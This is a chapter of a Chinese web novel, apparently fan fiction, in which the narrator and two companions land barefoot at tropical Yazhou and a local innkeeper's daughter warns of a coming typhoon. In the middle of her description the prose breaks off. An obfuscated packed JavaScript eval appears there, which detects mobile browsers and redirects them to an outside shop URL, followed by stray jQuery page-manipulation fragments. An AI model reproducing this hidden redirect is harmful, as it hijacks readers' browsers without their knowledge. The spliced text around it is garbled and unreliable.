船在海上航行了十几日，终于望见了陆地。那不是想象中郁郁葱葱、椰林婆娑的热带海岛风光，首先感受到的，是扑面而来的、粘稠而滚烫的空气，仿佛一张巨大的、被烈日烘烤过的湿布，当头罩下，让人瞬间喘不过气。接着，是那明晃晃、白得刺眼、毫无遮拦的阳光，悬在头顶，像一个永不熄灭的巨大火球，炙烤着海水、沙滩和目力所及的一切。


    “这地方……真热啊！” 刚下跳板，双脚踩上滚烫的砂石码头，沈眉庄就忍不住用袖子扇着风，低声抱怨了一句。她白皙的额头上瞬间沁出细密的汗珠，脸颊也飞起两团被热气蒸出的红晕。“这天上的太阳，怕不是个火球变的？脚底板隔着鞋都觉得烫！”


    她说着，下意识地跺了跺脚，想甩开那股灼热感。就在这时，她眼角余光瞥见我，不由一愣。


    我早已脱下了那双在扬州街头还算合脚、但在此地已显闷热的布鞋，连袜子也褪了，赤着双足，直接踩在晒得微微发烫、但尚可忍受的粗砂地上。温热从脚心传来，带着一种奇异的、与大地接触的实在感，竟比穿着鞋袜、被汗浸湿黏在脚上还要清爽几分。


    剪秋也学我的样子，正弯腰脱去鞋袜，闻言抬头，用眼神示意沈眉庄看四周，压低声音笑道：“我的好妹妹，你看本地人，谁还穿鞋袜？”


    沈眉庄顺着她的目光望去，这才注意到，码头上忙碌的渔民、搬运的苦力、甚至一些摆摊售卖鱼虾椰子的妇人，无论男女老少，绝大多数都赤着脚。古铜色的、布满老茧的脚掌，稳健地踩在滚烫的沙地、粗糙的石板或是被海水冲刷得光滑的礁石上，行动自如，仿佛那灼热与粗粝根本不存在。只有少数穿着木屐，也是简单至极，露出大半个脚面。


    相比之下，我们三人穿着整齐的布鞋罗袜，在这片土地上，反而成了异类，显得格外拘束、笨拙，甚至……有些可笑。


    沈眉庄脸一红，有些不好意思地笑了，也连忙弯腰脱下鞋袜。当光裸的脚掌接触到温热粗糙的地面时，她轻轻“嘶”了一声，随即适应过来，新奇地动了动脚趾，脸上露出一丝如释重负的、孩童般的神情。“倒是……凉快多了。”


    我从路边随手折了几片宽大厚实、绿油油的芭蕉叶，递给她们一人一片：“顶在头上，遮遮阳。这里日头毒，不比中原。”


    我们学着本地妇人的样子，将芭蕉叶顶在发髻上，权作遮阳帽。粗糙的叶面挡住了部分直射的阳光，带来一小片阴凉。就这样，我们赤着脚，顶着芭蕉叶，提着简单的行李，踏上了崖州的土地。


    码头上弥漫着浓重的鱼腥味、海水的咸味，以及一种说不清的、植物腐败与潮湿混合的气息。房屋低矮，多为木石结构，不少甚至就是简单的船型屋，以圆木为架，覆以厚厚的茅草，看上去低矮却结实。街道狭窄，人烟比起扬州、开封稀疏许多，行人肤色黝黑，穿着简朴，说的是一种完全听不懂的方言，语速快而音调奇特。一切都显得陌生、粗粛，与中原的繁华精致截然不同。


    按照粘杆处预先安排的路线，我们很快找到了城中一家看起来还算整洁的客栈。客栈也是由几排船型屋围成的一个院落，院子中央有口井，井边搭着凉棚，晾晒着渔网和一些叫不出名字的、颜色鲜艳的鱼干。老板是个五十来岁的黝黑汉子，话不多，眼神却精明，收了房钱，指给我们三间相邻的、还算干净通风的屋子。


    我们刚放下行李，正准备打点水擦洗一下满身的汗和风尘，一个约莫十三四岁、皮肤黑里透红、眼睛亮晶晶的小姑娘端着个木盆走了进来，盆里是清凉的井水。她是老板的女儿，叫阿黎，会说些生硬的官话。


    “客官，洗脸。”阿黎将木盆放在屋角的架子上，怯生生地看了我们一眼，目光在我们赤着的脚上停留了一瞬，似乎有些好奇，但没多问。她转身要走，却又停下，犹豫了一下，回头用不太流利的官话认真道：“阿爸让告诉客官，这几天，莫要出门，莫要到海边去。”


    我们都是一愣。沈眉庄擦脸的手停下，问道：“为何？可是有甚不太平？”


    阿黎摇摇头，指了指门外灰蒙蒙、仿佛蒙着一层厚重毛玻璃的天空，又指了指自己沁出汗的鼻尖，努力组织着语言：“不是歹人。是……是天要发怒。你们看这天，闷得很，一丝风都没有，海那边云也沉沉的。我们这里话讲，‘闷热无风，台风在胸’。这是大风灾要来的兆头。最迟……不超过三天，肯定要来。风很大，雨更大，海水会涨很高，很危险的。客官你们是北边来的，不晓得厉害，一定要待在屋里，关紧门窗，莫要出去。”


    台风！我和剪秋、沈眉庄交换了一个眼神。我们在宫中时，也曾在典籍或前朝奏报中见过关于岭南、琼州“飓风”、“风灾”的记载，描述往往骇人听闻：“拔木摧屋，海水溢，漂没庐舍”、“飓风大作，舟覆，溺毙无算”。但那终究是纸上的文字，隔了千山万水。如今，我们亲身站在这可能直面风暴的海岛之上，听着一个本地少女用最直白的话语发出警告，那感觉顿时截然不同了。


    “多谢小娘子提醒。” 我温声道，从随身的小荷包里摸出几枚铜钱递过去，“这点钱，拿去买糖吃。可否再与我们说说，这大风灾来时，通常是个什么情形？我们也好早做防备。”


    阿黎看到铜钱，眼睛亮了一下，但没接，只是摆手：“不用的，阿爸说助人是本分。” 她想了想，似乎是在回忆，又像是在斟酌词句：“风来的时候，声音像很多很多鬼在哭，在叫，房子都会摇，好像要散架。雨横着飞，打在人身上疼。海水会变成很高的墙，扑到岸上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963330|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来，能吞掉靠近海边的房子和船。树会被连根拔起，椰子像石头一样乱飞……很可怕的。不过我们这里的房子，”她指了指脚下和四周，“造得矮，屋顶用绳子和大石头压住，一般吹不跑。只要躲好，不出来，就没事。等风过去了，天就晴了，就是到处乱七八糟，要收拾很久。”


    她的描述朴实无华，却带着亲身经历者才有的笃定与一丝不易察觉的恐惧。可以想见，那将是怎样一种天地变色、狂暴无匹的自然伟力。


    “这大风灾，常来么？” 剪秋忍不住问。


    阿黎点点头：“夏天和秋天最多，有时候一年来好几次，有时候隔一两年。来的时间说不准，但来之前，天就会像现在这样，又闷又热，没有风，海也平静得奇怪。老辈人说，那是海龙王在积攒力气。”


    我们又问了问需要准备些什么，阿黎说客栈会准备些清水、干粮，让我们自己也备点，最好把贵重东西包好，放在屋里最结实、不容易进水的地方。叮嘱完毕，她才端起空木盆，像一只灵巧的小鹿，轻快地跑出去了。


    屋子里安静下来，只剩下窗外那令人窒息的闷热，以及远处隐约传来的、似乎比平日更显压抑的海浪声。


    “台风……” 沈眉庄走到窗边，望着那异常平静却暗藏诡谲的天空，低声重复着这个词，脸上没有了初来时的燥热与新奇，取而代之的是一种面对未知自然力量的凝重，“姐姐，我们……要不要换个地方？或者，干脆离开崖州？”


    我摇了摇头，走到她身边，同样望向窗外。“不必。既然来了，便是机缘。天灾固然可畏，但亦是此地常态。我们不仅要看它风和日丽时的模样，也要看看它狂怒时的面孔。更何况……” 我顿了顿，脑海中浮现出这一路南行所见的漕运、盐政、黄河、淮河……种种人力与天灾交织的困局，“这飓风骇浪，固然是灾，是险。但若运用得当，这无尽之风，浩渺之海，又何尝不是力，不是路？”


    沈眉庄和剪秋若有所思。


    “阿黎说，最多三天。” 我收回目光，语气平静中带着决断，“这三天，我们便安顿下来，莫要乱跑。也正好看看，这崖州港，在风暴来临前，是何光景；本地百姓，又是如何应对这天威。等风过了，我们再仔细勘察此地形势。”


    是夜，我们早早歇下。客栈的房间低矮，却意外地通风良好，茅草屋顶和厚厚的木墙似乎将白天的酷热阻隔了不少。躺在硬板床上，能听到远处海潮拍岸的声音，规律而沉重，与中原江河的涛声迥异。空气依旧闷热，但赤足踩在微凉的地面上，竟也有一丝难得的舒爽。


    窗外，夜色如墨，星月无光。那种暴风雨来临前的、令人心慌的宁静，笼罩着整个崖州。


    而我们都知道，这宁静，不会太久了。